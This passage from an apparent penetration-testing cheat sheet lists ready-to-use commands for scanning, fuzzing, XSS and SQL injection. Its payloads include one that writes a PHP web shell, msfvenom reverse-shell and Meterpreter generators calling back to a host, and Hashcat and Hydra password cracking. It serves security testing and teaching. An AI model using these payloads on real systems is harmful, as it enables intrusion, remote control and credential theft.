Professional](https://www.tenable.com/products/nessus) and [Burp Suite Professional](https://portswigger.net/burp) or any other similar permium tools if you can afford them. ### 2.1 Useful Websites * [ipaddressguide.com/cidr](https://www.ipaddressguide.com/cidr) * [account.arin.net/public/cidrCalculator](https://account.arin.net/public/cidrCalculator) * [calculator.net/ip-subnet-calculator.html](https://www.calculator.net/ip-subnet-calculator.html) * [speedguide.net/ports.php](https://www.speedguide.net/ports.php) * [securityheaders.com](https://securityheaders.com) * [csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) (Content Security Policy evaluator) ### Nmap **For better results, use IPs instead of domain names.** **Some web servers will not respond to ping (ICMP) requests, so the mapping of the live hosts will not be accurate.** Ping sweep (map live hosts): ```bash nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24 nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt ``` Extract live hosts from the results: ```bash grep -Po '(?<=Host\:\ )[^\s]+' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txt ``` TCP scan (all ports): ```fundamental nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24 nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt ``` \[Variation\] TCP scan (all ports): ```bash mkdir nmap_tcp_results for ip in $(cat ips_live.txt); do nmap -nv -sS -sV -sC -Pn -oN "nmap_tcp_results/nmap_tcp_results_${ip//./_}.txt" -p- "${ip}"; done ``` UDP scan (only important ports): ```fundamental nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24 nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt ``` \[Variation\] UDP scan (only important ports): ```bash mkdir nmap_udp_results for ip in $(cat ips_live.txt); do nmap -nv -sU -sV -sC -Pn -oN "nmap_udp_results/nmap_udp_results_${ip//./_}.txt" -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 "${subdomain}"; done ``` | Option | Description | | --- | --- | | -sn | Ping scan - disable port scan | | -Pn | Treat all hosts as online -- skip host discovery | | -n/-R | Never do DNS resolution/Always resolve (default: sometimes) | | -sS/sT/sA | TCP SYN/Connect()/ACK | | -sU | UDP scan | | -p/-p- | Only scan specified ports/Scan all ports | | --top-ports | Scan <number> most common ports | | -sV | Probe open ports to determine service/version info | | -O | Enable OS detection | | -sC | Same as --script=default | | --script | Script scan (takes time to finish) | | --script-args | Provide arguments to scripts | | --script-help | Show help about scripts | | -oN/-oX/-oG | Output scan in normal, XML, and Grepable format | | -v | Increase verbosity level (use -vv or more for greater effect) | | --reason | Display the reason a port is in a particular state | | -A | Enable OS detection, version detection, script scanning, and traceroute | All Nmap's scripts are located at `/usr/share/nmap/scripts/` directory. Read more about the scripts [here](https://nmap.org/nsedoc). NSE examples: ```fundamental nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306 nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"' nmap -nv --script='ssl-heartbleed' -iL cidrs.txt ``` You can find `rockyou.txt` and `subdomains-top1mil.txt` wordlists in [SecLists](#wordlists). I prefer to use [Nuclei](#nuclei) for vulnerability scanning. ### Nikto Scan a web server: ```fundamental nikto -output nikto_results.txt -h somesite.com -p 80 ``` ### WPScan Scan a WordPress website: ```fundamental wpscan -o wpscan_results.txt --url somesite.com ``` ### testssl.sh Installation: ```bash apt-get update && apt-get -y install testssl.sh ``` Test an SSL/TLS certificate (i.e. SSL/TLS ciphers, protocols, etc.): ```fundamental testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com ``` You can also use testssl.sh to exploit SSL/TLS vulnerabilities. ### OpenSSL Test a web server for Heartbleed vulnerability: ```bash for subdomain in $(cat subdomains_live.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}:443" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt for subdomain in $(cat subdomains_live_long_https.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt ``` ### keytool Grab SSL/TLS certificate: ```fundamental keytool -printcert -rfc -sslserver ebay.com > keytool_results.txt openssl x509 -in keytool_results.txt -noout -text ``` Use [uncover](#uncover) with certificate Shodan and Censys Dorks to find more possibly in-scope hosts. ## 3. Gaining Access/Exploiting Always try the null session login (i.e. no password login) or search the Internet for default credentials for a specific web application. Try to manipulate cookies or tokens to gain access or elevate privileges. Try to change an HTTP POST request into an HTTP GET request (i.e. into a query string) and see if a server will accept it. Turn off JavaScript in your web browser and check the web application behaviour again. Check the web application behaviour on mobile devices, e.g. check `m.somesite.com` for vulnerabilities because some features might work differently. If you want to automate your code injection testing, check the [Wordlists](#wordlists) sub-section for code injection wordlists. Most of the wordlists also include obfuscated code injections. **Don't forget to remove all the created artifacts after you are done testing.** ### 3.1 Useful Websites * [cvedetails.com](https://www.cvedetails.com) * [securityfocus.com/vulnerabilities](https://www.securityfocus.com/vulnerabilities) * [exploit-db.com](https://www.exploit-db.com) * [cxsecurity.com](https://cxsecurity.com/wlb) * [xssed.com](http://www.xssed.com) * [xss-payloads.com](http://www.xss-payloads.com/payloads-list.html?a#category=all) (advanced XSS PoCs) * [hakluke/weaponised-XSS-payloads](https://github.com/hakluke/weaponised-XSS-payloads) * [namecheap.com](https://www.namecheap.com) (buy domains for cheap) * [streaak/keyhacks](https://github.com/streaak/keyhacks) (validate API keys) * [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) * [jwt.io](https://jwt.io) * [portswigger.net/web-security](https://portswigger.net/web-security) ### Collaborator Servers Exploit open redirect, blind cross-site scripting (XSS), DNS/HTTP interaction, etc. * [interactsh.com](https://app.interactsh.com) * [dnslog.cn](http://dnslog.cn) * [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator) * [canarytokens.org](https://canarytokens.org/generate) * [webhook.site](https://webhook.site) ### Subdomain Takeover Gather as much information as you can for a specified target, see how in [1. Reconnaissance](#1-reconnaissance). Gather organization names with [WHOIS](#whois-asn-cidr), and canonical names with [host](#host). You can double check if domains/subdomains are alive or not with [dig](#dig) and [httpx](#httpx). Check if hosting providers for the found domains/subdomains are vulnerable to domain/subdomain takeover at [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz). Credits to the author! Popular cloud service providers: * [aws.amazon.com](https://aws.amazon.com) * [azure.microsoft.com](https://azure.microsoft.com) ### Subzy Installation: ```bash go install -v github.com/lukasikic/subzy@latest ``` Check for domains/subdomains takeover: ```fundamental subzy -concurrency 100 -timeout 3 -targets subdomains.txt | tee subzy_results.txt ``` ### subjack Installation: ```bash go install -v github.com/haccer/subjack@latest ``` Check for domains/subdomains takeover: ```fundamental subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains.txt ``` ### Nuclei Installation: ```bash apt-get update && apt-get -y install nuclei ``` Download the latest [Nuclei templates](https://github.com/projectdiscovery/nuclei-templates/releases). To download and/or update Nuclei templates, run: ```bash mkdir ~/nuclei-templates && nuclei -ut ~/nuclei-templates ``` Vulnerability scan (all templates): ```fundamental nuclei -c 500 -o nuclei_results.txt -l subdomains_live.txt cat nuclei_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_sorted_results.txt ``` Only subdomain takeover: ```fundamental nuclei -c 500 -t ~/nuclei-templates/takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt ``` ### WFUZZ Fuzz directories: ```fundamental wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/WFUZZ" -w directory-list-lowercase-2.3-medium.txt ``` Fuzz parameter values: ```fundamental wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"someparam\": \"WFUZZ\"}" -w somewordlist.txt ``` Fuzz parameters: ```fundamental wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"WFUZZ\": \"somevalue\"}" -w somewordlist.txt ``` Additional example, internal SSRF fuzzing: ```fundamental wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt ``` | Option | Description | | --- | --- | | -f | Store results in the output file | | -t | Specify the number of concurrent connections (10 default) | | -s | Specify time delay between requests (0 default) | | -u | Specify a URL for the request | | -w | Specify a wordlist file | | -X | Specify an HTTP method for the request, i.e. HEAD or FUZZ | | -b | Specify a cookie for the requests | | -d | Use post data | | -H | Use header | | --hc/--hl/--hw/--hh | Hide responses with the specified code/lines/words/chars | | --sc/--sl/--sw/--sh| Show responses with the specified code/lines/words/chars | | --ss/--hs| Show/hide responses with the specified regex within the content | ### Insecure Direct Object Reference (IDOR) First, try to simply change one value to another, e.g. change `[email protected]` to `[email protected]`, or e.g. change ID `1` to `2`, etc. It might be possible that ID `1` relates to some higher privilege account or role. Second, try parameter pollution: ```fundamental [email protected],[email protected] [email protected] [email protected] [email protected]&[email protected] email[][email protected]&email[][email protected] { "email": "[email protected],[email protected]" } { "email": "[email protected] [email protected]" } { "email": ["[email protected]", "[email protected]"] } ``` ### HTTP Response Splitting Also known as CRLF injection. CRLF refers to carriage return (`ASCII 13`, `\r`) and line feed (`ASCII 10`, `\n`). When encoded, `\r` refers to `%0D` and `\n` refers to `%0A`. Fixate a session cookie: ```fundamental somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789 ``` Open redirect: ```fundamental somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com ``` Session fixation and redirection are one of many techniques used in combination with HTTP response splitting. Search the Internet for more information. ### Cross-Site Scripting (XSS) Simple cross-site scripting (XSS) examples: ```html <script>alert(1)</script> <script src="https://myserver.com/xss.js"></script> <img src="https://github.com/favicon.ico" onload="alert(1)"> ``` Hosting JavaScript on [Pastebin](https://pastebin.com) doesn't work because Pastebin returns the plain text content-type. Find out more about reflected and stored cross-site scripting (XSS) attacks, as well as cross-site request forgery (XSRF/CSRF) attacks from my other [project](https://github.com/ivan-sincek/xss-catcher). Valid emails with embedded XSS: ```html user+(<script>alert(1)</script>)@somedomain.com user@somedomain(<script>alert(1)</script>).com "<script>alert(1)</script>"@somedomain.com ``` ### SQL Injection **The following examples were tested on MySQL database. Note that MySQL requires a white space between the comment symbol and the next character.** If you need to URL encode the white space, use either `%20` or `+`. Try to produce database errors by injecting a single-quote, back-slash, double-hyphen, forward-slash, or period. **Always make sure to properly close the surrounding code.** Read this [article](https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF) to learn how to bypass WAF. --- Boolean-based SQLi: ```fundamental ' OR 1=1-- ' OR 1=2-- ``` --- Union-based SQLi: ```fundamental ' UNION SELECT 1,2,3,4-- ' UNION SELECT NULL,NULL,NULL,NULL-- ' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4-- ' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns-- ' UNION SELECT 1,load_file('..\\..\\apache\\conf\\httpd.conf'),3,4-- ``` If using e.g. `1,2,3,4` does not work, try using `NULL,NULL,NULL,NULL` respectively. Use the union-based SQLi only when you are able to use the same communication channel to both launch the attack and gather results. The goal is to determine the exact number of columns in the application query and to figure out which of them are displaying to the user. Another way to determine the exact number of columns is by using e.g. `' ORDER BY 1-- `, where `1` is the column number used for sorting - try incrementing it by one. --- Time-based SQLi: ```fundamental ' AND (SELECT 1 FROM (SELECT sleep(2)) test)-- ' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)-- ' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)-- ' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)-- ' AND IF(version() LIKE '5%',sleep(2),sleep(0))-- ``` Use the time-based SQLi when you are not able to see the results. --- Check for the existance/correctness: ```fundamental ' AND (SELECT 'exists' FROM users) = 'exists ' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists ' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct ' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct '||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||' ``` --- Inject a [simple PHP web shell](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/simple_php_web_shell_get.php) based on HTTP GET request: ```fundamental ' UNION SELECT '', '', '', '<?php if(isset($_GET["command"])){echo shell_exec($_GET["command"]);} ?>' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'-- ' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","&lt;",$o);$o=str_replace(">","&gt;",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" content="Ivan Šincek"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'-- ``` To successfully inject a web shell, the current database user must have a write permission. ### sqlmap Inject SQL code into request parameters: ```fundamental sqlmap -a -u somesite.com/index.php?username=test&password=test sqlmap -a -u somesite.com/index.php --data username=test&password=test sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password ``` | Option | Description | | --- | --- | | -u | Target URL | | -H | Extra HTTP header | | --data | Data string to be sent through POST | | --cookie | HTTP Cookie header value | | --proxy | Use a proxy to connect to the target URL (\[protocol://\]host\[:port\]) | | -p | Testable parameter(s) | | --level | Level of tests to perform (1-5, default: 1) | | --risk | Risk of tests to perform (1-3, default: 1) | | -a | Retrieve everything | | -b | Retrieve DBMS banner | | --dump-all | Dump all DBMS databases tables entries | | --os-shell | Prompt for an interactive operating system shell | | --os-pwn | Prompt for an OOB shell, Meterpreter, or VNC | | --sqlmap-shell | Prompt for an interactive sqlmap shell | | --wizard | Simple wizard interface for beginner users | | --dbms | To do. | ### dotdotpwn Traverse a path (e.g. `somesite.com/../../../etc/passwd`): ```fundamental dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL' ``` Try to prepend a protocol such as `file://`, `gopher://`, `dict://`, `php://`, `jar://`, `ftp://`, `tftp://`, etc. to the file path; e.g `file://TRAVERSAL`. Check some additional directory traversal tips at [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md). Credits to the author! | Option | Description | | --- | --- | | -m | Module (http, http-url, ftp, tftp payload, stdout) | | -h | Hostname | | -O | Operating System detection for intelligent fuzzing (nmap) | | -o | Operating System type if known ("windows", "unix", or "generic") | | -d | Depth of traversals (default: 6) | | -f | Specific filename (default: according to OS detected) | | -S | Use SSL for HTTP and Payload module (not needed for http-url) | | -u | URL with the part to be fuzzed marked as TRAVERSAL | | -k | Text pattern to match in the response | | -p | Filename with the payload to be sent and the part to be fuzzed marked with the TRAVERSAL keyword | | -x | Port to connect (default: HTTP=80; FTP=21; TFTP=69) | | -U | Username (default: 'anonymous') | | -P | Password (default: 'dot(at)dot.pwn') | | -M | HTTP Method to use when using the 'http' module (GET, POST, HEAD, COPY, MOVE, default: GET) | | -b | Break after the first vulnerability is found | | -C | Continue if no data was received from host | ### Web Shells Find out more about PHP shells from my other [project](https://github.com/ivan-sincek/php-reverse-shell). Find out more about Java/JSP shells from my other [project](https://github.com/ivan-sincek/java-reverse-tcp). ### Send a Payload With Python Find out how to generate a `reverse shell payload` for Python and send it to a target's machine from my other [project](https://github.com/ivan-sincek/send-tcp-payload). ## 4. Post Exploitation ### 4.1 Useful Websites * [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) * [lolbas-project.github.io](https://lolbas-project.github.io) * [gtfobins.github.io](https://gtfobins.github.io) ### Generate a Reverse Shell Payload for Windows OS To generate a `Base64 encoded payload`, use one of the following MSFvenom commands (modify them to your need): ```fundamental msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt ``` To generate a `binary file`, use one of the following MSFvenom commands (modify them to your need): ```fundamental msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin ``` To generate a `DLL file`, use one of the following MSFvenom commands (modify them to your need): ```fundamental msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll ``` To generate a `standalone executable`, file use one of the following MSFvenom commands (modify them to your need): ```fundamental msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe ``` To generate an `MSI file`, use one of the following MSFvenom commands (modify them to your need): ```fundamental msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi ``` Bytecode might not work on the first try due to some other bad characters. Trial and error is the key. So far there is no easy way to generate a DLL nor MSI file with a stageless meterpreter shell due to the size issues. ### PowerShell Encoded Command To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command: ```pwsh [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script))) ``` To run the PowerShell encoded command, run the following command from either PowerShell or Command Prompt: ```pwsh PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand $command ``` To decode a PowerShell encoded command, run the following PowerShell command: ```pwsh [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command)) ``` Find out more about PowerShell reverse and bind TCP shells from my other [project](https://github.com/ivan-sincek/powershell-reverse-tcp). ## 5. Password Cracking **Google a hash before trying to crack it because you might save yourself a lot of time and trouble.** Use [Google Dorks](#google-dorks), [Chad](#chad), or [FOCA](#foca) to find files and within file's metadata domain usernames to brute force. **Keep in mind that you might lockout people's accounts.** Keep in mind that some web forms implement CAPTCHA and/or hidden submission tokens which may prevent you from brute forcing. Try to submit requests without tokens or CAPTCHA. You can find a bunch of wordlists in [SecLists](#wordlists). ### 5.1 Useful Websites * [gchq.github.io/CyberChef](https://gchq.github.io/CyberChef) * [onlinehashcrack.com](https://www.onlinehashcrack.com) * [hashkiller.io/listmanager](https://hashkiller.io/listmanager) (has many other tools) * [hashes.com/en/decrypt/hash](https://hashes.com/en/decrypt/hash) (has many other tools) * [crackstation.net](https://crackstation.net) * [weakpass.com/wordlist](https://weakpass.com/wordlist) (lots of password dumps) * [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists) ### crunch Generate a lower-alpha-numeric wordlist: ```fundamental crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt ``` See the list of all available charsets or add your own in `charset.lst` located at `/usr/share/crunch/` directory. Generate all the possible permutations from words: ```fundamental crunch -o crunch_wordlist.txt -p admin 123 \!\" crunch -o crunch_wordlist.txt -q words.txt ``` Generate all the possible combinations from a charset: ```fundamental crunch 4 6 -o crunch_wordlist.txt -p admin123\!\" ``` | Option | Description | | --- | --- | | -d | Limits the number of consecutive characters | | -f | Specifies a character set from a file | | -i | Inverts the output | | -l | When you use the -t option this option tells crunch which symbols should be treated as literals | | -o | Specifies the file to write the output to | | -p | Tells crunch to generate/permute words that don't have repeating characters | | -q | Tells crunch to read a file and permute what is read | | -r | Tells crunch to resume generate words from where it left off, -r only works if you use -o | | -s | Specifies a starting string | | -t | Specifies a pattern | | Placeholder | Description | | --- | --- | | \@ | Lower case characters | | \, | Upper case characters | | \% | Numbers | | \^ | Symbols | **Unfortunately, there is no placeholder ranging from lowercase-alpha to symbols.** Generate all the possible combinations from a placeholder: ```fundamental crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^ crunch 10 10 + + 123456 \!\" -o crunch_wordlist.txt -t admin@@%^^ crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa ``` ### hash-identifier To identify a hash type, run the following tool: ```fundamental hash-identifier ``` ### Hashcat Brute force MD5 hashes: ```fundamental hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt ``` Brute force NetNTLMv1 hashes: ```fundamental hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt ``` Use `--session=<session_name>` to save, and continue your cracking progress later using `--restore`. Continue cracking progress: ```fundamental hashcat --session=cracking --restore ``` | Option | Description | | --- | --- | | -m | Hash-type, see references below | | -a | Attack-mode, see references below | | --force | Ignore warnings | | --runtime | Abort session after X seconds of runtime | | --status | Enable automatic update of the status screen | | -o | Define outfile for recovered hash | | --show | Show cracked passwords found in potfile | | --session | Define specific session name | | --restore | Restore session from --session | | --restore-file-path | Specific path to restore file | | -O | Enable optimized kernels (limits password length) | | -1 | User-defined charset ?1 | | -2 | User-defined charset ?2 | | -3 | User-defined charset ?3 | | -4 | User-defined charset ?4 | **When specifying a user-defined charset, escape `?` with another `?` (i.e. use `??` instead of `\?`).** | Hash Type | Description | | --- | --- | | 0 | MD5 | | 100 | SHA1 | | 1400 | SHA256 | | 1700 | SHA512 | | 200 | MySQL323 | | 300 | MySQL4.1/MySQL5 | | 1000 | NTLM | | 5500 | NetNTLMv1-VANILLA / NetNTLMv1-ESS | | 5600 | NetNTLMv2 | | 2500 | WPA/WPA2 | | 16800 | WPA-PMKID-PBKDF2 | | 16500 | JWT (JSON Web Token) | For more hash types read the manual. | Attack Mode | Name | | --- | --- | | 0 | Straight | | 1 | Combination | | 3 | Brute Force | | 6 | Hybrid Wordlist + Mask | | 7 | Hybrid Mask + Wordlist | | 9 | Association | | Charset | Description | | --- | --- | | \?l | abcdefghijklmnopqrstuvwxyz | | \?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ | | \?d | 0123456789 | | \?s | \!\"\#\$\%\&\'\(\)\*\+\,\-\.\/\:\;\<\=\>\?\@\[\]\^\_\`\{\|\}\~ | | \?a | \?l\?u\?d\?s | | \?b | 0x00 - 0xff | Dictionary attack: ```fundamental hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt ``` You can find `rockyou.txt` wordlist in [SecLists](#wordlists). Brute force a hash using a placeholder: ```fundamental hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2 hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 \!\"\#\$\%\&\/\(\)\=??\* -2 ?d?1 ?u?l?l?l?l?2?2?2 ``` ### Cracking the JWT Dictionary attack: ```fundamental hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds ``` You can also check the JWT cracking tool from my other [project](https://github.com/ivan-sincek/jwt-bf). ### Hydra Crack an HTTP POST web form login: ```fundamental hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!' ``` When cracking a web form login, you must specify `Login=Login:<expected_message>` to distinguish between a successful login and a failed one. Each expected message can vary between web forms. Keep in mind that the `username` and `password` request parameters can be named differently. Crack a Secure Shell (SSH) login: ```fundamental hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh ``` You can find a bunch of wordlists in [SecLists](#wordlists). | Option | Description | | --- | --- | | -R | Restore a previous aborted/crashed session | | -S | Perform an SSL connect | | -O | Use old SSL v2 and v3 | | -s | If the service is on a different default port, define it here | | -l | Login with a login name | | -L | Load several logins from a file | | -p | Login with a password | | -P | Load several passwords from a file | | -x | Password brute force generation (MIN:MAX:CHARSET), type "-x -h" to get help | | -y | Disable use of symbols in bruteforce | | -e | Try "n" null password, "s" login as pass and/or "r" reversed login | | -o | Write found login/password pairs to a file instead of stdout | | -f/-F | Exit when a login/pass pair is found (-f per host, -F global) | | -M | List of servers to attack, one entry per line, ':' to specify port | | Supported Services | | --- | | ftp\[s\] | | http\[s\]\-\{get\|post\}\-form | | mysql | | smb | | smtp\[s\] | | snmp | | ssh | | telnet\[s\] | | vnc | For more supported services read the manual. | Brute Force Syntax | Description | | --- | --- | | MIN | Minimum number of characters in the password | | MAX | Maximum number of characters in the password | | CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation | Brute force attack: ```fundamental hydra -o hydra_results.txt -l admin -x 4:4:aA1\!\"\#\$\% 192.168.8.5 ftp ``` ### Password Spraying After you have collected enough usernames from [reconnaissance phase](#1-reconnaissance), it is time to try and crack some of them. Find out how to generate a good password spraying wordlist from my other [project](https://github.com/ivan-sincek/wordlist-extender), but first you will need a few good keywords that describe your target. Such keywords can be a company name, abbreviations, words that describe your target's services, products, etc. After you generate the wordlist, use it with tools such as 